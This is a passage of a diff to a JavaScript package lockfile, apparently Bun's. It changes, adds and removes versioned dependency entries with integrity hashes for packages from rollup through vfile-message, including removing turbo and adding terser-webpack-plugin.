"@rollup/rollup-win32-arm64-msvc": "4.37.0", "@rollup/rollup-win32-ia32-msvc": "4.37.0", "@rollup/rollup-win32-x64-msvc": "4.37.0", "fsevents": "~2.3.2" }, "bin": "dist/bin/rollup" }, "sha512-iAtQy/L4QFU+rTJ1YUjXqJOJzuwEghqWzCEYD2FEghT7Gsy1VdABntrO4CLopA5IkflTyqNiLNwPcOJ3S7UKLg=="],
"rollup-plugin-peer-deps-external": ["rollup-plugin-peer-deps-external@2.2.4", "", { "peerDependencies": { "rollup": "*" } }, "sha512-AWdukIM1+k5JDdAqV/Cxd+nejvno2FVLVeZ74NKggm3Q5s9cbbcOgUPGdbxPi4BXu7xGaZ8HG12F+thImYu/0g=="],
@@ -4397,8 +4129,6 @@
"rollup-pluginutils": ["rollup-pluginutils@2.8.2", "", { "dependencies": { "estree-walker": "^0.6.1" } }, "sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ=="],
- "roughjs": ["roughjs@4.6.6", "", { "dependencies": { "hachure-fill": "^0.5.2", "path-data-parser": "^0.1.0", "points-on-curve": "^0.2.0", "points-on-path": "^0.2.1" } }, "sha512-ZUz/69+SYpFN/g/lUlo2FXcIjRkSu3nDarreVdGGndHEBJ6cXPdKguS8JGxwj5HA5xIbVKSmLgr5b3AWxtRfvQ=="],
-
"router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="],
"rrweb-cssom": ["rrweb-cssom@0.8.0", "", {}, "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw=="],
@@ -4407,8 +4137,6 @@
"run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
- "rw": ["rw@1.3.3", "", {}, "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ=="],
-
"safe-array-concat": ["safe-array-concat@1.1.3", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q=="],
"safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
@@ -4429,13 +4157,15 @@
"scheduler": ["scheduler@0.23.2", "", { "dependencies": { "loose-envify": "^1.1.0" } }, "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ=="],
+ "schema-utils": ["schema-utils@3.3.0", "", { "dependencies": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", "ajv-keywords": "^3.5.2" } }, "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg=="],
+
"seedrandom": ["seedrandom@3.0.5", "", {}, "sha512-8OwmbklUNzwezjGInmZ+2clQmExQPvomqjL7LFqOYqtmuxRgQYqOD3mHaU+MvZn5FLUeVxVfQjwLZW/n/JFuqg=="],
"semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
"send": ["send@1.2.0", "", { "dependencies": { "debug": "^4.3.5", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.0", "mime-types": "^3.0.1", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.1" } }, "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw=="],
- "serialize-javascript": ["serialize-javascript@7.0.4", "", {}, "sha512-DuGdB+Po43Q5Jxwpzt1lhyFSYKryqoNjQSA9M92tyw0lyHIOur+XCalOUe0KTJpyqzT8+fQ5A0Jf7vCx/NKmIg=="],
+ "serialize-javascript": ["serialize-javascript@6.0.2", "", { "dependencies": { "randombytes": "^2.1.0" } }, "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g=="],
"serve-static": ["serve-static@2.2.0", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ=="],
@@ -4507,8 +4237,6 @@
"standard-as-callback": ["standard-as-callback@2.1.0", "", {}, "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="],
- "state-local": ["state-local@1.0.7", "", {}, "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w=="],
-
"static-browser-server": ["static-browser-server@1.0.3", "", { "dependencies": { "@open-draft/deferred-promise": "^2.1.0", "dotenv": "^16.0.3", "mime-db": "^1.52.0", "outvariant": "^1.3.0" } }, "sha512-ZUyfgGDdFRbZGGJQ1YhiM930Yczz5VlbJObrQLlk24+qNHVQx4OlLcYswEUo3bIyNAbQUIUR9Yr5/Hqjzqb4zA=="],
"statuses": ["statuses@2.0.1", "", {}, "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="],
@@ -4569,9 +4297,9 @@
"strip-json-comments": ["strip-json-comments@3.1.1", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="],
- "strnum": ["strnum@2.2.0", "", {}, "sha512-Y7Bj8XyJxnPAORMZj/xltsfo55uOiyHcU2tnAVzHUnSJR/KsEX+9RoDeXEnsXtl/CX4fAcrt64gZ13aGaWPeBg=="],
+ "strnum": ["strnum@1.0.5", "", {}, "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA=="],
- "strtok3": ["strtok3@10.3.4", "", { "dependencies": { "@tokenizer/token": "^0.3.0" } }, "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg=="],
+ "strtok3": ["strtok3@7.0.0", "", { "dependencies": { "@tokenizer/token": "^0.3.0", "peek-readable": "^5.0.0" } }, "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ=="],
"style-inject": ["style-inject@0.3.0", "", {}, "sha512-IezA2qp+vcdlhJaVm5SOdPPTUu0FCEqfNSli2vRuSIBbu5Nq5UvygTk/VzeCqfLz2Atj3dVII5QBKGZRZ0edzw=="],
@@ -4581,8 +4309,6 @@
"stylehacks": ["stylehacks@5.1.1", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-selector-parser": "^6.0.4" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw=="],
- "stylis": ["stylis@4.3.6", "", {}, "sha512-yQ3rwFWRfwNUY7H5vpU0wfdkNSnvnJinhF9830Swlaxl03zsOjCfmX0ugac+3LtK0lYSgwL/KXc8oYL3mG4YFQ=="],
-
"sucrase": ["sucrase@3.35.0", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", "glob": "^10.3.10", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", "ts-interface-checker": "^0.1.9" }, "bin": { "sucrase": "bin/sucrase", "sucrase-node": "bin/sucrase-node" } }, "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA=="],
"superagent": ["superagent@9.0.2", "", { "dependencies": { "component-emitter": "^1.3.0", "cookiejar": "^2.1.4", "debug": "^4.3.4", "fast-safe-stringify": "^2.1.1", "form-data": "^4.0.0", "formidable": "^3.5.1", "methods": "^1.1.2", "mime": "2.6.0", "qs": "^6.11.0" } }, "sha512-xuW7dzkUpcJq7QnhOsnNUgtYp3xRwpt2F7abdRYIpCsAt0hhUqia0EdxyXZQQpNmGtsCzYHryaKSV3q3GJnq7w=="],
@@ -4595,9 +4321,7 @@
"supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
- "svgo": ["svgo@2.8.2", "", { "dependencies": { "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "sax": "^1.5.0", "stable": "^0.1.8" }, "bin": "./bin/svgo" }, "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA=="],
-
- "swr": ["swr@2.4.1", "", { "dependencies": { "dequal": "^2.0.3", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-2CC6CiKQtEwaEeNiqWTAw9PGykW8SR5zZX8MZk6TeAvEAnVS7Visz8WzphqgtQ8v2xz/4Q5K+j+SeMaKXeeQIA=="],
+ "svgo": ["svgo@2.8.0", "", { "dependencies": { "@trysound/sax": "0.2.0", "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "stable": "^0.1.8" }, "bin": "bin/svgo" }, "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg=="],
"symbol-tree": ["symbol-tree@3.2.4", "", {}, "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="],
@@ -4625,6 +4349,8 @@
"terser": ["terser@5.27.0", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": "bin/terser" }, "sha512-bi1HRwVRskAjheeYl291n3JC4GgO/Ty4z1nVs5AAsmonJulGxpSektecnNedrwK9C7vpvVtcX3cw00VSLt7U2A=="],
+ "terser-webpack-plugin": ["terser-webpack-plugin@5.3.10", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.20", "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", "serialize-javascript": "^6.0.1", "terser": "^5.26.0" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w=="],
+
"test-exclude": ["test-exclude@6.0.0", "", { "dependencies": { "@istanbuljs/schema": "^0.1.2", "glob": "^7.1.4", "minimatch": "^3.0.4" } }, "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w=="],
"text-decoder": ["text-decoder@1.2.3", "", { "dependencies": { "b4a": "^1.6.4" } }, "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA=="],
@@ -4635,13 +4361,13 @@
"thenify-all": ["thenify-all@1.6.0", "", { "dependencies": { "thenify": ">= 3.1.0 < 4" } }, "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA=="],
+ "tiktoken": ["tiktoken@1.0.15", "", {}, "sha512-sCsrq/vMWUSEW29CJLNmPvWxlVp7yh2tlkAjpJltIKqp5CKf98ZNpdeHRmAlPVFlGEbswDc6SmI8vz64W/qErw=="],
+
"timers-browserify": ["timers-browserify@2.0.12", "", { "dependencies": { "setimmediate": "^1.0.4" } }, "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ=="],
"tiny-emitter": ["tiny-emitter@2.1.0", "", {}, "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q=="],
- "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="],
-
- "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
+ "tinyglobby": ["tinyglobby@0.2.13", "", { "dependencies": { "fdir": "^6.4.4", "picomatch": "^4.0.2" } }, "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw=="],
"tldts": ["tldts@6.1.86", "", { "dependencies": { "tldts-core": "^6.1.86" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ=="],
@@ -4657,7 +4383,7 @@
"toidentifier": ["toidentifier@1.0.1", "", {}, "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="],
- "token-types": ["token-types@6.1.2", "", { "dependencies": { "@borewit/text-codec": "^0.2.1", "@tokenizer/token": "^0.3.0", "ieee754": "^1.2.1" } }, "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww=="],
+ "token-types": ["token-types@5.0.1", "", { "dependencies": { "@tokenizer/token": "^0.3.0", "ieee754": "^1.2.1" } }, "sha512-Y2fmSnZjQdDb9W4w4r1tswlMHylzWIeOKpx0aZH9BgGtACHhrk3OkT52AzwcuqTRBZtvvnTjDBh8eynMulu8Vg=="],
"touch": ["touch@3.1.0", "", { "dependencies": { "nopt": "~1.0.10" }, "bin": { "nodetouch": "bin/nodetouch.js" } }, "sha512-WBx8Uy5TLtOSRtIq+M03/sKDrXCLHxwDcquSP2c43Le03/9serjQBIztjRz6FkJez9D/hleyAXTBGLwwZUw9lA=="],
@@ -4677,12 +4403,8 @@
"ts-api-utils": ["ts-api-utils@2.0.1", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-dnlgjFSVetynI8nzgJ+qF62efpglpWRk8isUEWZGWlJYySCTD6aKvbUDu+zbPeDakk3bg5H4XpitHukgfL1m9w=="],
- "ts-dedent": ["ts-dedent@2.2.0", "", {}, "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ=="],
-
"ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="],
- "ts-md5": ["ts-md5@1.3.1", "", {}, "sha512-DiwiXfwvcTeZ5wCE0z+2A9EseZsztaiZtGrtSaY5JOD7ekPnR/GoIVD5gXZAlK9Na9Kvpo9Waz5rW64WKAWApg=="],
-
"ts-node": ["ts-node@10.9.2", "", { "dependencies": { "@cspotcode/source-map-support": "^0.8.0", "@tsconfig/node10": "^1.0.7", "@tsconfig/node12": "^1.0.7", "@tsconfig/node14": "^1.0.0", "@tsconfig/node16": "^1.0.2", "acorn": "^8.4.1", "acorn-walk": "^8.1.1", "arg": "^4.1.0", "create-require": "^1.1.0", "diff": "^4.0.1", "make-error": "^1.1.1", "v8-compile-cache-lib": "^3.0.1", "yn": "3.1.1" }, "peerDependencies": { "@swc/core": ">=1.2.50", "@swc/wasm": ">=1.2.50", "@types/node": "*", "typescript": ">=2.7" }, "optionalPeers": ["@swc/core", "@swc/wasm"], "bin": { "ts-node": "dist/bin.js", "ts-node-cwd": "dist/bin-cwd.js", "ts-node-esm": "dist/bin-esm.js", "ts-node-script": "dist/bin-script.js", "ts-node-transpile-only": "dist/bin-transpile.js", "ts-script": "dist/bin-script-deprecated.js" } }, "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ=="],
"tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="],
@@ -4691,20 +4413,6 @@
"tty-browserify": ["tty-browserify@0.0.1", "", {}, "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw=="],
- "turbo": ["turbo@2.8.14", "", { "optionalDependencies": { "turbo-darwin-64": "2.8.14", "turbo-darwin-arm64": "2.8.14", "turbo-linux-64": "2.8.14", "turbo-linux-arm64": "2.8.14", "turbo-windows-64": "2.8.14", "turbo-windows-arm64": "2.8.14" }, "bin": { "turbo": "bin/turbo" } }, "sha512-UCTxeMNYT1cKaHiIFdLCQ7ulI+jw5i5uOnJOrRXsgUD7G3+OjlUjwVd7JfeVt2McWSVGjYA3EVW/v1FSsJ5DtA=="],
-
- "turbo-darwin-64": ["turbo-darwin-64@2.8.14", "", { "os": "darwin", "cpu": "x64" }, "sha512-9sFi7n2lLfEsGWi5OEoA/eTtQU2BPKtzSYKqufMtDeRmqMT9vKjbv9gJCRkllSVE9BOXA0qXC3diyX8V8rKIKw=="],
-
- "turbo-darwin-arm64": ["turbo-darwin-arm64@2.8.14", "", { "os": "darwin", "cpu": "arm64" }, "sha512-aS4yJuy6A1PCLws+PJpZP0qCURG8Y5iVx13z/WAbKyeDTY6W6PiGgcEllSaeLGxyn++382ztN/EZH85n2zZ6VQ=="],
-
- "turbo-linux-64": ["turbo-linux-64@2.8.14", "", { "os": "linux", "cpu": "x64" }, "sha512-XC6wPUDJkakjhNLaS0NrHDMiujRVjH+naEAwvKLArgqRaFkNxjmyNDRM4eu3soMMFmjym6NTxYaF74rvET+Orw=="],
-
- "turbo-linux-arm64": ["turbo-linux-arm64@2.8.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-ChfE7isyVNjZrVSPDwcfqcHLG/FuIBbOFxnt1FM8vSuBGzHAs8AlTdwFNIxlEMJfZ8Ad9mdMxdmsCUPIWiQ6cg=="],
-
- "turbo-windows-64": ["turbo-windows-64@2.8.14", "", { "os": "win32", "cpu": "x64" }, "sha512-FTbIeQL1ycLFW2t9uQNMy+bRSzi3Xhwun/e7ZhFBdM+U0VZxxrtfYEBM9CHOejlfqomk6Jh7aRz0sJoqYn39Hg=="],
-
- "turbo-windows-arm64": ["turbo-windows-arm64@2.8.14", "", { "os": "win32", "cpu": "arm64" }, "sha512-KgZX12cTyhY030qS7ieT8zRkhZZE2VWJasDFVUSVVn17nR7IShpv68/7j5UqJNeRLIGF1XPK0phsP5V5yw3how=="],
-
"type": ["type@2.7.3", "", {}, "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ=="],
"type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="],
@@ -4733,25 +4441,19 @@
"ua-parser-js": ["ua-parser-js@1.0.37", "", {}, "sha512-bhTyI94tZofjo+Dn8SN6Zv8nBDvyXTymAdM3LDI/0IboIUwTu1rEhW7v2TfiVsoYWgkQ4kOVqnI8APUFbIQIFQ=="],
- "ufo": ["ufo@1.6.3", "", {}, "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q=="],
-
"uglify-js": ["uglify-js@3.17.4", "", { "bin": { "uglifyjs": "bin/uglifyjs" } }, "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g=="],
"uid-safe": ["uid-safe@2.1.5", "", { "dependencies": { "random-bytes": "~1.0.0" } }, "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA=="],
"uid2": ["uid2@0.0.4", "", {}, "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA=="],
- "uint8array-extras": ["uint8array-extras@1.5.0", "", {}, "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A=="],
-
"unbox-primitive": ["unbox-primitive@1.1.0", "", { "dependencies": { "call-bound": "^1.0.3", "has-bigints": "^1.0.2", "has-symbols": "^1.1.0", "which-boxed-primitive": "^1.1.1" } }, "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw=="],
"undefsafe": ["undefsafe@2.0.5", "", {}, "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="],
- "underscore": ["underscore@1.13.8", "", {}, "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ=="],
+ "undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
- "undici": ["undici@7.24.4", "", {}, "sha512-BM/JzwwaRXxrLdElV2Uo6cTLEjhSb3WXboncJamZ15NgUURmvlXvxa6xkwIOILIjPNo9i8ku136ZvWV0Uly8+w=="],
-
- "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
+ "undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
"unicode-canonical-property-names-ecmascript": ["unicode-canonical-property-names-ecmascript@2.0.1", "", {}, "sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg=="],
@@ -4787,12 +4489,16 @@
"upath": ["upath@1.2.0", "", {}, "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg=="],
- "update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
+ "update-browserslist-db": ["update-browserslist-db@1.1.2", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-PPypAm5qvlD7XMZC3BujecnaOxwhrtoFR+Dqkk5Aa/6DssiH0ibKoketaj9w8LP7Bont1rYeoV5plxD7RTEPRg=="],
"uri-js": ["uri-js@4.4.1", "", { "dependencies": { "punycode": "^2.1.0" } }, "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg=="],
"url": ["url@0.11.4", "", { "dependencies": { "punycode": "^1.4.1", "qs": "^6.12.3" } }, "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg=="],
+ "url-parse": ["url-parse@1.5.10", "", { "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ=="],
+
+ "url-template": ["url-template@2.0.8", "", {}, "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw=="],
+
"use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="],
"use-composed-ref": ["use-composed-ref@1.3.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ=="],
@@ -4829,42 +4535,36 @@
"vfile-message": ["vfile-message@4.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw=="],
